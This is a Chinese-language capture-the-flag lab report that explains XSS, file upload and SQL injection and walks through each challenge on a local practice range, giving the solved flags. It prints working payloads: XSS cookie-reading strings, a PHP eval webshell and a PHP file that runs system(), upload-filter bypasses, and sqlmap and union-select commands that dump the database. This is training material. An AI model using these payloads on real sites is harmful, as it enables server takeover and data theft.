CTF靶場

CTF靶場測試報告

一.跨站腳本攻擊(XSS)

實驗原理:跨站腳本攻擊( Cross Site Script),本來的縮寫應為CSS,但是為了與層疊樣式表(Cascading Style CSS)區分,所以在安全領域中叫XSS。
XSS攻擊,通常指攻擊者通過「HTML注入」篡改網頁並插入惡意的腳本,在其他用戶瀏覽此網頁時控制用戶瀏覽器的一種攻擊,它是一種針對網站應用程式的安全漏洞攻擊技術,也是程式碼注入的一種。這種攻擊在起初的演示案例上是跨域的,所以被叫做「跨站腳本」。惡意的攻擊者利用XSS攻擊可以得到私密網頁內容、回話、cookie甚至得到很高的許可權等。

XSS根據效果的不同可以分成如下幾類:

(1)第一種類型:反射型XSS
反射型XSS 只是簡單的把用戶輸入的數據「反射」給瀏覽器,攻擊者往往需要誘導目標用戶去打開一個惡意的鏈接才能成功的發起攻擊。 攻擊方式攻擊者首先將包含XSS程式碼的惡意鏈接通過電子郵件等方式發送給目標用戶,只要目標用戶訪問該鏈接,伺服器便會接受該目標用戶的請求並進行處理,然後伺服器把帶有XSS程式碼的數據發送給目標用戶的瀏覽器,瀏覽器解析這段帶有XSS程式碼的惡意腳本之後就會觸發XSS漏洞,從而達到攻擊者的目的。 反射型XSS也叫做「非持久型XSS (Non-persistent XSS)」,這種攻擊方式往往具有一次性。

(2)第二種類型:存儲型XSS

存儲型xSS會將惡意攻擊腳本永久的存放在目標伺服器或者文件中。這種xsS具有很強的穩定性,也叫作「存儲型XSS」。
攻擊方式此攻擊常見於部落格,論壇等。攻擊者寫下包含惡意程式碼的文章或者評論,當
文章或者評論發表後惡意程式碼便會連同正常資訊一起被伺服器存儲下來,當其他的用戶訪問包含了惡意程式碼的文章或者留言板時,惡意腳本就會在他們的瀏覽器中執行,從而達到攻擊者的目的。存儲型XSS通常也叫作「持久型XSS」(Persistent XsS),它存在的時間是比較長的。

(3)第三種類型:DOM型XSS

DOM(Document Object Model)型 XSS是一種特殊的反射型XSs,它是基於DOM文檔對象模型的一種漏洞,使用DOM可以使程式和腳本能夠動態的更新和訪問文檔的內容、結構以及樣式,通過修改頁面的DOM節點形成的XSS稱之為DOM型 XSS。

HTML的標籤都是節點,而這些節點組成了DOM的整體結構——節點樹。通過 HTMLDOM,樹中的所有節點均可通過javaScript進行訪問。所有HTML節點均可以被修改,也可以創建或刪除節點。

在網站頁面中有許多元素,當頁面到達瀏覽器時,瀏覽器會為頁面創建一個頂級的Document object文檔對象,接著生成各個子文檔對象,每個頁面元素對應一個文檔對象,每個文檔對象包含屬性、方法和時間。可以通過JS腳本對文檔對象進行編輯,從而修改頁面的元素。也就是說,客戶端的腳本程式可以通過DOM動態修改頁面內容,從客戶端獲取DOM中的數據並在本地執行。憂鬱 DOM實在客戶端修改節點的,所以基於DOM型的漏洞不需要與服務端進行交互,它只發生在客戶端處理數據的階段。

攻擊方式:攻擊者提交一個精心設計而且包含XSS程式碼的URL,當用戶請求這個URL,伺服器的響應不會以任何形式包含攻擊者的腳本。當用戶的瀏覽器處理這個響應時,DOM對象就會處理XSS的程式碼,導致存在XSS漏洞。

  • 啟動瀏覽器輸入鏈接打開CFT靶場,選擇菜單欄挑戰,如下圖所示:

1.選擇XSS-反射型XSS,進入題目

思路:首先看到有注入點,輸入命令:<script>alert(document.cookie)</script>,進行測試,點擊提交,下圖所示:

提交後頁面輸出位子原樣輸出說明我們寫的<script>alert(document.cookie)</script>,語句未被瀏覽器所執行,此時我們點擊滑鼠右鍵查看網頁源程式碼,如下圖所示:

觀察網頁源程式碼我們剛剛寫入的<script>alert(document.cookie)</script>,觀察被當成文字執行了,所以網頁會原樣輸出,此時我們首先要閉合前面的input語句,輸入"><script>alert(document.cookie)</script>,”> 的作用是提前閉合input語句,然後再執行我們寫的script語句,如下圖所示:

輸出"><script>alert(document.cookie)</script>,點擊提交,如下圖所示:

此時我們成功得到了這題的flag了!將flag複製到HackBar裡面進行編碼,如下圖所示:flag{el_Sh6nvMF7jIAbn}


2.選擇XSS-存儲型XSS,進入題目

思路:此時我們同樣輸入,或者還可以輸入<img src=x onerror=aler()>,這兩句語句都可以進行測試,發現語句都可以被執行了,如下圖所示:

此時我們成功得到了這題的flag了!將flag複製到HackBar裡面進行編碼,如下圖所示:flag=flag{el_hJPwFl0fT1GJV}

3.選擇XSS-DOM型XSS,進入題目

思路:這題有彩蛋直接F12進入開發者模式,查看Application的Cookies發現flag就在裡面藏著在,如下圖所示:flag{el_Y7yMJE7BcfhBk}

二.文件上傳漏洞

實驗原理:文件上傳是互聯網應用中的一個常用功能,例如上傳一張圖片;上傳一段影片;論壇發帖附帶附件等等。

上傳文件時,如果服務端沒有對程式碼進行嚴格的驗證以及過濾,就容易造成允許上傳任意文件的情況,「文件上傳」本身沒有問題,但是問題在於文件上傳後,伺服器怎麼處理、解釋此文件。若上傳文件是web腳本語言,伺服器的web容器會解釋並執行用戶上傳的腳本,導致程式碼的執行,惡意的腳本文件會控制整個網站,甚至控制伺服器。若上傳的是病毒,木馬文件,黑客用以誘騙用戶或者管理員下載執行。上傳文件是釣魚圖片或為包含了腳本的圖片,在某些版本的瀏覽器中會被作為腳本執行,被用於釣魚和欺詐。

大多數情況下,文件上傳漏洞一般都是指「上傳 Web腳本能夠被伺服器解析」的問題,也就是通常所說的 webshell的問題。要完成這個攻擊,要滿足如下幾個條件。
首先,上傳的文件能夠被Web容器解釋執行。所以文件上傳後所在的目錄要是 web容器所覆蓋到對的路徑。

其次,用戶能夠從web上訪問這個文件。如果文件上傳了,但用戶無法通過web訪問,或者無法使得web容器解釋這個腳本,那麼也不能稱之為漏洞。

最後,用戶上傳的文件若被安全檢查、格式化、圖片壓縮等功能改變了內容,則也可能導致攻擊不成功。

1.選擇文件上傳-JS繞過,進入題目

進入題目,觀察網頁有一個上傳文件的地方,如下圖所示:

思路:我們先創建記事本構造一個一句話木馬語句:<?php @eval($_POST['zsz']);?>,如下圖所示:

保存到本地主機後,修改後綴名為.php文件,然後進行網頁上傳我們剛剛創建的muma.php一句話木馬,上傳的時候發現被前端攔截了,如下圖所示:

此時我們按F12打開瀏覽器開發者模式,將javaScript功能關閉,如下圖所示:

接下來我們再次進行上傳muma.php文件,如下圖所示:

此時發現已經可以上傳了,點擊submit按鈕上傳,如下圖所示:

上傳成功了,我們獲取到了剛剛我們上傳的muma.php的路徑,接下來我們使用中國蟻劍進行里鏈接,如下圖所示:

數據添加成功後,雙擊添加的數據入侵到伺服器中,如下圖所示:

此時我們已經成功入侵到了目標伺服器了,接下來我們需要找到flag的藏身之處,經過查找發現flag了,如下圖所示:

最後flag成功拿下,如下圖所示:flag{el_sSsJUsCznNJ8o}

2.選擇文件上傳-文件類型繞過1,進入題目

思路:首先測試muma.php文件是否可以正常上傳,發現被攔截不允許上傳該格式的文件,如下圖所示:

此時我們使用另外一種Burp Suite professional 工具,設置瀏覽器代理模式,用Burp Suite professional進行抓包重構發送的數據包,如下圖所示:

接下來右鍵滑鼠發送到Repeater模組,將數據包中Content-Type:修改為 image/jpeg進行繞過,如下如所示:

上傳成功了,我們獲取到了剛剛我們上傳的muma.php的路徑,接下來我們使用中國蟻劍進行里鏈接,如下圖所示:

數據添加成功後,雙擊添加的數據入侵到伺服器中,如下圖所示:

進入終端後,輸入命令:cat ../../../../flag,可以查看flag,如下圖所示:flag{el_4vUiULbIISkA0}

3.選擇文件上傳-文件類型繞過,進入題目

思路:進入題目後發現有一個上傳點,首先先上傳muma.php測試一下,如下圖所示:

點擊上傳發現提示不允許上傳.asp,.aspx,.php,.jsp後綴文件!,如下圖所示:

此時我們使用Burp Suite professional 工具,設置瀏覽器代理模式,用Burp Suite professional進行抓包重構發送的數據包,如下圖所示:

上傳成功了,我們獲取到了剛剛我們上傳的muma.phtml的路徑,接下來我們使用中國蟻劍進行里鏈接,如下圖所示:

數據添加成功後,雙擊添加的數據入侵到伺服器中,如下圖所示:

右鍵在此打開終端,如下圖所示:

進入終端後,輸入命令:cat ../../../../flag,可以查看flag,此題因為題目配置問題伺服器中無flag,如下圖所示:答案:flag{el_zAI4gHiRONOcy}

4.選擇文件上傳-文件後綴繞過,進入題目

思路:首先測試muma.php文件是否可以正常上傳,發現被攔截不允許上傳該格式的文件,如下圖所示:

上傳文件後頁面返回不允許的後綴名,如下圖所示:

此時我們使用Burp Suite professional 工具,設置瀏覽器代理模式,用Burp Suite professional進行抓包重構發送的數據包,如下圖所示:

接下來右鍵滑鼠發送到Repeater模組,將數據包中文件後綴進行修改為 muma.php.phtml進行繞過,如下如所示:

上傳成功了,我們獲取到了剛剛我們上傳的muma.php.phtml的路徑,接下來我們使用中國蟻劍進行里鏈接,如下圖所示:

數據添加成功後,雙擊添加的數據入侵到伺服器中,如下圖所示:

右鍵進入終端,輸入命令:cat ../../../../flag,可以查看flag,如下圖所示:flag{el_H5MGyqiz31Xey}

5.選擇文件上傳-競爭條件,進入題目

思路:首先測試muma.php文件是否可以正常上傳,發現上傳過程很慢,並且顯示上傳成功且有路徑,如下圖所示:


接下來通過中國蟻劍連接,發現連接不上,說明伺服器將我們剛剛上傳的文件已經刪除了,如下圖所示:

此時我們通過條件競爭原理進行滲透,我們使用Burp Suite professional 工具,設置瀏覽器代理模式,用Burp Suite professional進行抓包進行重放攻擊,同時使用瀏覽器訪問剛剛的路徑產生條件競爭再次使用Burp Suite professional進行抓包進行重放攻擊,如下圖所示:
首先設置上傳包將文件內容修改為:

<?php
echo "upload success!\n";
system("cat ../../../../flag");
?>

同時我們設置訪問包,如下圖所示:

最後先發送上傳包的同時立刻發送請求包,就可以實現條件競爭,從而獲取flag,如下圖所示:flag{el_PnaSoaWmWuFiS}

三.SQL注入攻擊基礎

實驗原理:注入攻擊是web安全領域中一種最為常見的攻擊方式。注入攻擊的本質是把用戶輸入的數據當做程式碼執行。這裡有兩個關鍵的條件,第一個是用戶能夠控制數據的輸入;第二個是原本程式要執行的程式碼,拼接了用戶輸入的數據。

SQL注入就是指Web應用程式對用戶輸入數據的合法性沒有進行判斷,從而攻擊者從前端傳入到後端的參數是攻擊者可控制的,這些參數會帶入資料庫查詢,所以攻擊者可以通過構造不同的SQL語句來實現對資料庫的任意操作。

以如下PHP語句為例:
$query = “SELECT* FROM users WHERE id = $_GET[‘id’]”;

當傳入的ID參數為1時,資料庫執行的程式碼如下所示:
SELECT*FROM users WHERE id = 1

當傳入的ID參數為1 and 1=1,資料庫執行的程式碼如下所示:
SELECT*FROM users WHERE id = 1 and 1=1

當傳入的ID參數為攻擊者精心準備的程式碼時,資料庫便會執行這些程式碼從而達到了攻擊者的某些目的。
SQL注入漏洞產生需要滿足以下兩個條件:

(1)參數用戶可控:前端傳給後端的參數內容是用戶可以控制的

(2)參數帶入資料庫查詢:傳入的參數拼接到SQL語句,且帶入資料庫查詢。

在SQL注入的過程中,如果網站的 Web伺服器開啟了錯誤回顯,則會為攻擊者提供極大的便利,比如攻擊者在參數中輸入一個單引號「 ‘ 」,引起執行查詢語句的語法錯誤,伺服器直接返回了錯誤資訊。

SQLMap是一款命令行介面開源的滲透測試工具(自動化 sql注入),sqlmap可以自動化地偵測和實施SQL注入攻擊以及滲透資料庫伺服器。sqlmap 配有強大的偵測引擎,適用於高級滲透測試用戶,不僅可以獲得不同資料庫的指紋資訊,還可以從資料庫中提取數據,此外還能夠處理潛在的文件系統以及通過數據連接執行系統命令。

SQLMap支援MySQL,Oracle,PostgreSQL,Microsoft SQL Server,MicrosoftAccess,IBM DB2,SQLite, Firebird,Sybase和SAPMaxDB等資料庫的各種安全漏洞檢測。
SQLMap採用以下五種獨特的SQL注入技術。

(1)基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入。
(2)基於時間的盲注,即不能根據頁面返回內容判斷任何資訊,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
(3)基於報錯注入,即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中。
(4)聯合查詢注入,可以使用union的情況下的注入。
(5)堆查詢注入,可以同時執行多條語句的執行時的注入。

1.選擇SQL注入-union注入,進入題目


Sqlmap使用步驟:
(1)首先判斷是否存在注入點:
命令:sqlmap -u //127.0.0.1:22171/?id=1

(2)確認存在注入點之後,使用–dbs命令枚舉當前用戶下的所有資料庫,如當前用戶有許可權讀取所有資料庫列表資訊的表,使用該命令就可以列出所有資料庫,如下圖所示:

命令:sqlmap -u //127.0.0.1:22171/?id=1 --dbs

(3)使用–current-db獲取當前web應用所連接的資料庫,從圖中可以得知當前Web應用連接的資料庫為test,如下圖所示:
命令:sqlmap -u //127.0.0.1:22171/?id=1 --current-db

(4)得知資料庫為test之後,繼續進行注入,使用-D參數和–tables參數查詢資料庫test中給所有表名,-D參數用來指定某一個具體的資料庫,命令如下,結果如圖13-3-11所示,從圖中可以得知 test 資料庫中有三個表名。(如果不使用-D參數指定某個具體的資料庫,那麼就會列出資料庫中所有的表),如下圖所示:

(5)得知表名之後繼續注入使用-D參數、-T參數和–columns獲取指定資料庫中指定表中的欄位名,-D參數用於指定一個具體資料庫,-T參數用於指定一個具體的表,如下圖所示:
命令:sqlmap -u //127.0.0.1:22171/?id=1 -D test –T flag --columns

(6) 得知欄位名之後繼續注入使用-D參數、-T參數、-C參數和–dump獲取指定欄位中的具體數據,-D參數用於指定一個具體資料庫,-T參數用於指定一個具體的表,-C參數用於指定具體的欄位,命令如下。(如果不使用-c參數指定欄位,那麼就會列出資料庫中所有的欄位值),如下圖所示:
命令:sqlmap -u //127.0.0.1:22171/?id=1 -D test –T flag -C flag --dump
此時我們就成功得到了flag:flag{el_MqZG5mRXXiSYg}

接下來:
boolean注入(flag{el_AUSuaYQLcxXkT});
時間注入(flag{el_O5QWWhz9QmNHb});
堆疊注入(flag{el_ofFOxDdOfsaaK});
cookie注入(flag{el_dmycZJRSWN77g});
bash64注入(flag{el_uItls8C02hDPV});
操作步驟一樣,此處因為個人時間原因就不一一操作了。

2.選擇sql注入-二次注入,進入題目

思路:打開註冊頁面,在源URL後添加 ' union select 1,2,(select flag from test.flag) --+ ,獲取新的註冊id:54,如下圖所示:

然後將獲取的新id:54,到獲取數據頁面修改id=54,如下圖所示:
此時我們就成功獲取到了二次注入的flag了,flag{Qye43YcL1H7ex}